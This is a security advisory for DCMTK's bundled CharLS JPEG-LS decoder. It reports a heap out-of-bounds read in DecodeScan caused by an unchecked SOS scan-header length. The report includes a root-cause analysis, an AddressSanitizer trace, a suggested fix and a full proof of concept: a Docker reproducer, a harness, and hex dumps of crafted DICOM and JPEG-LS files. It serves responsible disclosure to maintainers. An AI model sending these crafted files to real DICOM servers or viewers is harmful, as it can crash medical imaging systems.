Issue as reported by quellsec.dev:
Summary¶
The bundled CharLS JPEG-LS decoder reads an attacker-controlled scan-header length from the SOS marker and copies that many bytes out of the compressed buffer, checking the length only against a 20-byte local stack buffer and never against the remaining compressed input. A short JPEG-LS fragment with an inflated SOS length byte makes the copy read past the end of the exact-size compressed pixel buffer.
Reachable when an application decompresses a malicious JPEG-LS encapsulated DICOM object (a C-STORE SCP that transcodes received instances, or any viewer/converter that calls chooseRepresentation / DcmPixelData::decode).
Affected version¶
- Target: dcmtk (dcmjpls / libcharls)
- Commit read:
7246c5a9ca64c2d4312774bf40d046e255c00a41
- Bug is in library code (
dcmjpls/libcharls/scan.h).
Crash¶
AddressSanitizer: heap-buffer-overflow, READ of size 18, 0 bytes to the right of a 22-byte region.
Crash site: dcmjpls/libcharls/scan.h:851 in JlsCodec<...>::DecodeScan.
The compressed buffer is allocated exact-size one frame up:
dcmjpls/libsrc/djcodecd.cc:429
bc(cpp). jlsData = new Uint8[compressedSize];
dcmjpls/libsrc/djcodecd.cc:470
bc(cpp). err = JpegLsDecode(buffer, bufSize, jlsData, compressedSize, ¶ms);
Root cause¶
DecodeScan copies the first 4 SOS bytes, derives the scan-header length from the low byte of the Ls field, clamps it only against sizeof(rgbyte), then copies that many bytes from the source pointer without consulting the input length *size:
dcmjpls/libcharls/scan.h:840
bc(cpp). BYTE rgbyte20;
dcmjpls/libcharls/scan.h:843
bc(cpp). ::memcpy(rgbyte, *ptr + offset + readBytes, 4);
dcmjpls/libcharls/scan.h:846
bc(cpp). size_t cbyteScanheader = rgbyte3 - 2;
dcmjpls/libcharls/scan.h:848
bc(cpp). if (cbyteScanheader > sizeof(rgbyte))
dcmjpls/libcharls/scan.h:851
bc(cpp). ::memcpy(rgbyte, *ptr + offset + readBytes, cbyteScanheader);
rgbyte[3] is the attacker-controlled SOS length byte. Any value up to 18 passes the > sizeof(rgbyte) clamp, and the copy at line 851 then reads cbyteScanheader bytes from *ptr (the compressed buffer) with no check that offset + readBytes + cbyteScanheader <= *size. When the encapsulated fragment is shorter than that, the read runs off the end of jlsData.
Reproduction¶
poc/crash_jpegls.dcm is a valid 1x1 MONOCHROME2 Secondary Capture object whose single JPEG-LS fragment has an SOS Ls low byte of 0x14 (cbyteScanheader = 18). Loading it and calling DcmDataset::chooseRepresentation(EXS_LittleEndianExplicit) aborts under ASan with the trace above.
Call path:
bc. DcmDataset::chooseRepresentation -> DcmPixelData::decode (dcpixel.cc:458)
DJLSDecoderBase::decodeFrameNoSwap -> JpegLsDecode (djcodecd.cc:470)
JLSInputStream::ReadScan -> DecodeScan (header.cc:535 -> scan.h:851)
Reproduction status: yes-rebuilt-and-ran.
Proof of Concept¶
Self-contained. docker build clones the target at the pinned commit and builds it under AddressSanitizer + UndefinedBehaviorSanitizer; docker run feeds the crafted input and reproduces the fault. Save the files below into a poc/ directory and:
bc. docker build -t poc . && docker run --rm poc
Sanitizer outputSanitizer output
[poc] wrote crafted DICOM to crash_jpegls.dcm (Normal)
[poc] loadFile: Normal
[poc] decompressing (chooseRepresentation LE explicit)...
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5030000a5e60 at pc 0x56029e5c4566 bp 0x7ffd09d92bf0 sp 0x7ffd09d92be0
READ of size 18 at 0x5030000a5e60 thread T0
#0 0x56029e5c4565 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#1 0x56029e5c4565 in JlsCodec<LosslessTraitsT<unsigned char, 8l>, DecoderStrategy>::DecodeScan(void*, JlsRect const&, unsigned char**, unsigned long*, unsigned long, bool) /work/targets/dcmtk/dcmjpls/libcharls/scan.h:851
#2 0x56029e4ef5ca in JLSInputStream::ReadScan(void*) /work/targets/dcmtk/dcmjpls/libcharls/header.cc:535
#3 0x56029e4efcf5 in JLSInputStream::ReadPixels(void*, unsigned long) /work/targets/dcmtk/dcmjpls/libcharls/header.cc:271
#4 0x56029e4f5203 in JLSInputStream::Read(void*, unsigned long) /work/targets/dcmtk/dcmjpls/libcharls/header.cc:242
#5 0x56029e4e9f42 in JpegLsDecode /work/targets/dcmtk/dcmjpls/libcharls/intrface.cc:137
#6 0x56029e4d6d0a in DJLSDecoderBase::decodeFrameNoSwap(DcmPixelSequence*, DJLSCodecParameter const*, DcmItem*, unsigned int, unsigned int&, void*, unsigned int, int, unsigned short, unsigned short, unsigned short, unsigned short) /work/targets/dcmtk/dcmjpls/libsrc/djcodecd.cc:470
#7 0x56029e4e53ff in DJLSDecoderBase::decode(DcmRepresentationParameter const*, DcmPixelSequence*, DcmPolymorphOBOW&, DcmCodecParameter const*, DcmStack const&, bool&) const /work/targets/dcmtk/dcmjpls/libsrc/djcodecd.cc:207
#8 0x56029e60fa8b in DcmCodecList::decode(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmPolymorphOBOW&, DcmStack&, bool&) /work/targets/dcmtk/dcmdata/libsrc/dccodec.cc:469
#9 0x56029e82d216 in DcmPixelData::decode(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmStack&) /work/targets/dcmtk/dcmdata/libsrc/dcpixel.cc:458
#10 0x56029e832415 in DcmPixelData::chooseRepresentation(E_TransferSyntax, DcmRepresentationParameter const*, DcmStack&) /work/targets/dcmtk/dcmdata/libsrc/dcpixel.cc:307
#11 0x56029e64f2ed in DcmDataset::chooseRepresentation(E_TransferSyntax, DcmRepresentationParameter const*) /work/targets/dcmtk/dcmdata/libsrc/dcdatset.cc:841
#12 0x56029e4c5d39 in main /work/poc/poc_dcmtk-dcmjpls-decodescan-scanheader-oob-read/harness.cc:105
#13 0x7f00e0d671c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9)
#14 0x7f00e0d6728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a)
#15 0x56029e4c0914 in _start (/work/poc/poc_dcmtk-dcmjpls-decodescan-scanheader-oob-read/harness+0x97a914)
0x5030000a5e66 is located 0 bytes to the right of 22-byte region [0x5030000a5e50,0x5030000a5e66)
allocated by thread T0 here:
#0 0x7f00e19b1997 in operator new[](unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:102
#1 0x56029e4d4d23 in DJLSDecoderBase::decodeFrameNoSwap(DcmPixelSequence*, DJLSCodecParameter const*, DcmItem*, unsigned int, unsigned int&, void*, unsigned int, int, unsigned short, unsigned short, unsigned short, unsigned short) /work/targets/dcmtk/dcmjpls/libsrc/djcodecd.cc:429
#2 0x56029e4e53ff in DJLSDecoderBase::decode(DcmRepresentationParameter const*, DcmPixelSequence*, DcmPolymorphOBOW&, DcmCodecParameter const*, DcmStack const&, bool&) const /work/targets/dcmtk/dcmjpls/libsrc/djcodecd.cc:207
#3 0x56029e60fa8b in DcmCodecList::decode(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmPolymorphOBOW&, DcmStack&, bool&) /work/targets/dcmtk/dcmdata/libsrc/dccodec.cc:469
#4 0x56029e82d216 in DcmPixelData::decode(DcmXfer const&, DcmRepresentationParameter const*, DcmPixelSequence*, DcmStack&) /work/targets/dcmtk/dcmdata/libsrc/dcpixel.cc:458
#5 0x56029e832415 in DcmPixelData::chooseRepresentation(E_TransferSyntax, DcmRepresentationParameter const*, DcmStack&) /work/targets/dcmtk/dcmdata/libsrc/dcpixel.cc:307
#6 0x56029e64f2ed in DcmDataset::chooseRepresentation(E_TransferSyntax, DcmRepresentationParameter const*) /work/targets/dcmtk/dcmdata/libsrc/dcdatset.cc:841
#7 0x56029e4c5d39 in main /work/poc/poc_dcmtk-dcmjpls-decodescan-scanheader-oob-read/harness.cc:105
#8 0x7f00e0d671c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9)
#9 0x7f00e0d6728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a)
#10 0x56029e4c0914 in _start (/work/poc/poc_dcmtk-dcmjpls-decodescan-scanheader-oob-read/harness+0x97a914)
SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29 in memcpy
Shadow bytes around the buggy address:
0x0a068000cb70: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
0x0a068000cb80: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
0x0a068000cb90: 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
0x0a068000cba0: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
0x0a068000cbb0: fa fa 00 00 06 fa fa fa 00 00 00 fa fa fa 00 00
=>0x0a068000cbc0: 00 07 fa fa 00 00 00 07 fa fa 00 00[06]fa fa fa
0x0a068000cbd0: 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a068000cbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a068000cbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a068000cc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0a068000cc10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
.dockerignore (crafted input).dockerignore (crafted input)
bc(text). # Stale host-built artifacts: never ship into the build context.
- The image rebuilds everything from a clean upstream clone.
dcmtk-build/
build-asan/
harness
.o
.a
build.log
*.poc.zip
crash_jpegls.dcm (538-byte binary inputxxd hex)
Reconstruct the 538-byte binary crash_jpegls.dcm from this hexdump (xxd -r -p reverses it):
bc. xxd -r -p > crash_jpegls.dcm <<'EOF'
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000004449434d02000000554c0400ca000000020001004f420000
0200000000010200020055491a00312e322e3834302e31303030382e352e312e342e312e312e
37000200030055493800312e322e3237362e302e373233303031302e332e312e342e32393634
38393732382e343038302e313738323739363938362e3734333137000200100055491600312e
322e3834302e31303030382e312e322e342e38300200120055491c00312e322e3237362e302e
373233303031302e332e302e332e372e300002001300534810004f464649535f44434d544b5f
333730200800160055491a00312e322e3834302e31303030382e352e312e342e312e312e3700
280002005553020001002800040043530c004d4f4e4f4348524f4d4532202800080049530200
3120280010005553020001002800110055530200010028000001555302000800280001015553
020008002800020155530200070028000301555302000000e07f10004f420000fffffffffeff
00e000000000feff00e016000000ffd8fff70008080001000101ffda0014010100000000feff
dde000000000
EOF
poc_843.jls (38-byte binary inputxxd hex)
Reconstruct the 38-byte binary poc_843.jls from this hexdump (xxd -r -p reverses it):
bc. xxd -r -p > poc_843.jls <<'EOF'
ffd8fff7000b0a00080007f6200000ffda0006010100dd0000000001fdfdfdfdfdfdff7fffd9
EOF
build.shbuild.sh
#!/usr/bin/env bash
# Build the dcmtk dcmjpls DecodeScan scan-header OOB-read PoC.
#
# Self-contained: DCMTK source lives at $LIB (=/src, cloned at the pinned
# commit by the Dockerfile); the harness is compiled in the poc dir (/poc).
# No host paths, no private image. A full dcmtk build is enormous, so we build
# ONLY the modules this PoC reaches (ofstd oflog oficonv dcmdata dcmimgle
# dcmjpls -- dcmjpls bundles the CharLS sources libcharls/scan.h with the
# vulnerable DecodeScan) with the triage sanitizer matrix:
# -fsanitize=address,undefined -fno-sanitize-recover=undefined
set -euo pipefail
SRC="${LIB:-/src}"
POC="$(cd "$(dirname "$0")" && pwd)"
BUILD="$SRC/build-asan"
MODULES="ofstd;oflog;oficonv;dcmdata;dcmimgle;dcmjpls"
MAKE_TARGETS="dcmjpls dcmimgle dcmdata oflog ofstd oficonv"
LINK_LIBS="-ldcmjpls -ldcmtkcharls -ldcmimgle -ldcmdata -loflog -lofstd -loficonv"
INC_MODULES="ofstd oflog oficonv dcmdata dcmimgle dcmjpls"
SAN="-fsanitize=address,undefined -fno-sanitize-recover=undefined -fno-omit-frame-pointer -g -O1"
CXX="${CXX:-g++}"
if [ ! -f "$BUILD/.configured" ]; then
mkdir -p "$BUILD"; cd "$BUILD"
cmake -G "Unix Makefiles" "$SRC" \
-DCMAKE_BUILD_TYPE=Debug \
-DBUILD_SHARED_LIBS=OFF -DBUILD_APPS=OFF \
-DDCMTK_MODULES="$MODULES" \
-DDCMTK_WITH_ZLIB=OFF -DDCMTK_WITH_OPENSSL=OFF -DDCMTK_WITH_PNG=OFF \
-DDCMTK_WITH_TIFF=OFF -DDCMTK_WITH_XML=OFF -DDCMTK_WITH_ICONV=OFF \
-DDCMTK_WITH_ICU=OFF -DDCMTK_WITH_OPENJPEG=OFF \
-DDCMTK_ENABLE_CHARSET_CONVERSION=oficonv \
-DCMAKE_C_FLAGS="$SAN" -DCMAKE_CXX_FLAGS="$SAN" -DCMAKE_EXE_LINKER_FLAGS="$SAN"
touch "$BUILD/.configured"
fi
cd "$BUILD"
make -j"$(nproc)" $MAKE_TARGETS
LIBDIR=""
for d in "$BUILD/lib" "$BUILD"; do
if ls "$d"/libdcmjpls.a >/dev/null 2>&1; then LIBDIR="$d"; break; fi
done
[ -n "$LIBDIR" ] || { echo "FAIL: dcmtk libs not found"; find "$BUILD" -name 'lib*.a'; exit 1; }
echo "libs in: $LIBDIR"
INCS="-I$SRC/config/include -I$BUILD/config/include"
for m in $INC_MODULES; do INCS="$INCS -I$SRC/$m/include"; done
"$CXX" $SAN $INCS "$POC/harness.cc" -o "$POC/harness" \
-L"$LIBDIR" $LINK_LIBS -lpthread
echo "BUILT: $POC/harness"
run.shrun.sh
#!/usr/bin/env bash
# Run the dcmtk dcmjpls DecodeScan scan-header OOB-read PoC.
# The harness writes a crafted JPEG-LS Lossless DICOM file in the cwd (/poc),
# reloads it, and decompresses through the registered DCMTK JPEG-LS codec.
# Expect an AddressSanitizer heap-buffer-overflow READ in DecodeScan at
# dcmjpls/libcharls/scan.h:851.
set -uo pipefail
POC="$(cd "$(dirname "$0")" && pwd)"
SRC="${LIB:-/src}"
export DCMDICTPATH="$SRC/dcmdata/data/dicom.dic"
export ASAN_OPTIONS="abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1"
export ASAN_SYMBOLIZER_PATH="${ASAN_SYMBOLIZER_PATH:-$(command -v llvm-symbolizer || true)}"
cd "$POC"
echo "=== dcmtk dcmjpls DecodeScan scan-header OOB-read (expect ASan heap-buffer-overflow READ at scan.h:851) ==="
"$POC/harness"
rc=$?
echo "=== exit: $rc ==="
exit "$rc"
DockerfileDockerfile
# Self-contained reproducer image for dcmtk (DCMTK DICOM toolkit) findings.
#
# Clones DCMTK at the exact commit the finding was verified against and builds
# ONLY the dcmtk modules the PoC needs (a full dcmtk build is enormous) with
# AddressSanitizer + UndefinedBehaviorSanitizer, then compiles the finding's
# harness against those sanitized static libs. No private base image and no
# local source tree are needed: a maintainer runs the two commands below and
# reproduces the crash from a clean machine.
#
# docker build -t poc .
# docker run --rm poc
#
# build.sh does the scoped module build (cmake -DDCMTK_MODULES="..." + make of
# just the needed targets) and the harness compile, so the per-finding module
# set lives in build.sh and this Dockerfile is identical for every dcmtk PoC.
#
# Toolchain: GCC (g++) + libasan/libubsan, the exact toolchain these findings
# were triaged under (their reference asan_output.txt traces show GCC's
# libsanitizer). It matters: one finding (the diluptab big-endian PoC) drives
# the library's big-endian branch by writing the runtime byte-order global
# through a const_cast; clang places that global read-only and elides the UB
# store, so the bug would not reproduce under clang. GCC reproduces it.
FROM ubuntu:24.04
# Pinned in pipeline/targets.yaml (dcmtk.commit). Override at build time with
# --build-arg COMMIT=<sha> to reproduce against another revision.
ARG COMMIT=7246c5a9ca64c2d4312774bf40d046e255c00a41
ENV DEBIAN_FRONTEND=noninteractive LIB=/src CC=gcc CXX=g++
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ gcc libasan8 libubsan1 cmake make \
&& rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/DCMTK/dcmtk /src \
&& git -C /src checkout "$COMMIT"
WORKDIR /poc
COPY . /poc
RUN bash build.sh
CMD ["bash", "run.sh"]
harness.ccharness.cc
/*
* PoC harness for dcmtk-dcmjpls-decodescan-scanheader-oob-read
*
* Site: dcmjpls/libcharls/scan.h:851 JlsCodec<TRAITS,STRATEGY>::DecodeScan
*
* BYTE rgbyte[20];
* ::memcpy(rgbyte, *ptr + offset + readBytes, 4); // reads Ls_lo into rgbyte[3]
* size_t cbyteScanheader = rgbyte[3] - 2; // attacker controlled
* if (cbyteScanheader > sizeof(rgbyte)) throw ...; // only upper-bound clamp
* ::memcpy(rgbyte, *ptr + offset + readBytes, cbyteScanheader); // NO check vs *size
*
* The second memcpy copies up to ~18 attacker-chosen bytes from the compressed
* buffer with no check that offset+4+cbyteScanheader <= compressedLength. The
* real DICOM decode path allocates the compressed buffer EXACT-size
* jlsData = new Uint8[compressedSize]; (djcodecd.cc:429)
* so a short JPEG-LS fragment whose SOS Ls low byte is inflated makes the copy
* run past the end of jlsData -> ASan heap-buffer-overflow READ in library code.
*
* Transport: a real DICOM file with JPEG-LS Lossless transfer syntax is written
* to disk, reloaded, and decompressed through the registered DCMTK JPEG-LS
* codec (DJLSLosslessDecoder::decode -> decodeFrameNoSwap -> JpegLsDecode ->
* JLSInputStream::ReadScan -> DecoderStrategy::DecodeScan).
*/
#include "dcmtk/config/osconfig.h"
#include "dcmtk/dcmdata/dctk.h"
#include "dcmtk/dcmdata/dcdeftag.h"
#include "dcmtk/dcmdata/dcpxitem.h"
#include "dcmtk/dcmdata/dcpixseq.h"
#include "dcmtk/dcmjpls/djdecode.h"
#include <cstdio>
#include <cstring>
#include <vector>
// Crafted JPEG-LS codestream (even length 22 bytes, so the encapsulated
// fragment is not zero-padded and compressedSize stays exact).
//
// FF D8 SOI
// FF F7 00 08 08 00 01 00 01 01 SOF55: len=8, bits=8, height=1, width=1, comp=1
// FF DA 00 14 01 01 00 00 00 SOS: Ls_lo=0x14 -> cbyteScanheader=18
// ccomp=1, comp(2), near=0, ilv=0(NONE)
// 00 pad to even length
//
// DecodeScan offset points at the SOS 0xFF (byte 12); rgbyte[3] = Ls_lo = 0x14;
// cbyteScanheader = 18 <= sizeof(rgbyte)=20 passes; the second memcpy then reads
// 18 bytes starting at byte 16, running 12 bytes past the 22-byte allocation.
static const Uint8 kJls[] = {
0xFF, 0xD8,
0xFF, 0xF7, 0x00, 0x08, 0x08, 0x00, 0x01, 0x00, 0x01, 0x01,
0xFF, 0xDA, 0x00, 0x14, 0x01, 0x01, 0x00, 0x00, 0x00,
0x00
};
static void buildEncapsulated(DcmDataset *ds)
{
// Minimal MONOCHROME2 image header; Columns/Rows/SamplesPerPixel must match
// the JPEG-LS SOF (1x1, 1 component) or decodeFrameNoSwap rejects before decode.
ds->putAndInsertString(DCM_PhotometricInterpretation, "MONOCHROME2");
ds->putAndInsertString(DCM_SOPClassUID, "1.2.840.10008.5.1.4.1.1.7"); // Secondary Capture
ds->putAndInsertUint16(DCM_SamplesPerPixel, 1);
ds->putAndInsertUint16(DCM_Rows, 1);
ds->putAndInsertUint16(DCM_Columns, 1);
ds->putAndInsertUint16(DCM_BitsAllocated, 8);
ds->putAndInsertUint16(DCM_BitsStored, 8);
ds->putAndInsertUint16(DCM_HighBit, 7);
ds->putAndInsertUint16(DCM_PixelRepresentation, 0);
ds->putAndInsertString(DCM_NumberOfFrames, "1");
// Encapsulated pixel data: empty Basic Offset Table + one JPEG-LS fragment.
DcmPixelData *pixelData = new DcmPixelData(DCM_PixelData);
DcmPixelSequence *seq = new DcmPixelSequence(DCM_PixelSequenceTag);
DcmPixelItem *offsetTable = new DcmPixelItem(DCM_PixelItemTag);
seq->insert(offsetTable);
DcmPixelItem *frag = new DcmPixelItem(DCM_PixelItemTag);
frag->putUint8Array(kJls, (Uint32)sizeof(kJls));
seq->insert(frag);
pixelData->putOriginalRepresentation(EXS_JPEGLSLossless, NULL, seq);
ds->insert(pixelData);
}
// Build the crafted encapsulated dataset and write it to disk as a real
// JPEG-LS Lossless DICOM file (the on-wire transport for the decode path).
static void write_crafted_dcm(const char *path)
{
DcmFileFormat ff;
buildEncapsulated(ff.getDataset());
OFCondition c = ff.saveFile(path, EXS_JPEGLSLossless);
std::fprintf(stderr, "[poc] wrote crafted DICOM to %s (%s)\n",
path, c.text());
}
int main(int argc, char **argv)
{
const char *path = (argc > 1) ? argv[1] : "crash_jpegls.dcm";
write_crafted_dcm(path);
DJLSDecoderRegistration::registerCodecs();
DcmFileFormat ff;
OFCondition cond = ff.loadFile(path);
std::fprintf(stderr, "[poc] loadFile: %s\n", cond.text());
DcmDataset *ds = ff.getDataset();
std::fprintf(stderr, "[poc] decompressing (chooseRepresentation LE explicit)...\n");
cond = ds->chooseRepresentation(EXS_LittleEndianExplicit, NULL);
std::fprintf(stderr, "[poc] decompress returned: %s (no crash?)\n", cond.text());
DJLSDecoderRegistration::cleanup();
return 0;
}
Impact¶
Out-of-bounds heap read of up to ~16 bytes past an exact-size buffer while decoding a malicious JPEG-LS image. The over-read bytes are consumed as scan-header parameters, not returned to the caller, so this is a crash / denial of service rather than an information leak. Severity: medium.
Suggested fix¶
Bound the scan-header copy against the remaining input as well as the local buffer: verify offset + readBytes + cbyteScanheader <= *size before the memcpy at scan.h:851 (and apply the same *size guard to the 4-byte read at scan.h:843), throwing JlsException(InvalidCompressedData) on violation.
<hr />
All quoted code verified present in source at commit 7246c5a9ca64c2d4312774bf40d046e255c00a41 (snippet gate: OPEN, 8/8 PASS).